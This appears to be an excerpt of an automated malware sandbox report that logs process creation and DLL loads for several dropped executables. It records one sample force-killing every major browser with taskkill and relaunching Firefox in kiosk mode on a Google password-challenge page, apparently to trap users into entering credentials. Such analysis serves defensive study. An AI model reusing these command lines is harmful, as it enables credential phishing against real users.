Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process created: C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe "C:\Users\user\AppData\Local\Temp\CR7UQWGVREF7AZUSI54N0N8MGR.exe"
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Process created: C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe "C:\Users\user\AppData\Local\Temp\D0QMSIUHN1DMZFTBB2S7.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8bf06fec-0dcd-48c2-953a-7c50b40f4239} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9a4e6df10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4288 -parentBuildID 20230927232528 -prefsHandle 4664 -prefMapHandle 4200 -prefsLen 26431 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0f1f2212-7e79-4ebe-a85e-e2d9c0caa83f} 5928 "\\.\pipe\gecko-crash-server-pipe.5928" 2b9b6ee1210 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2220 -prefsLen 25416 -prefMapSize 238941 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4d9e7d52-f4a7-4cd9-91e8-b4288aaa4407} 8032 "\\.\pipe\gecko-crash-server-pipe.8032" 23e7356d710 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GVDV7NGS54W9A7T64.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\AJK1SC9862O5LRO4.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: webio.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1002606001\606111e8b5.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1002607001\dd62608cd9.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe Section loaded: rasadhlp.dll
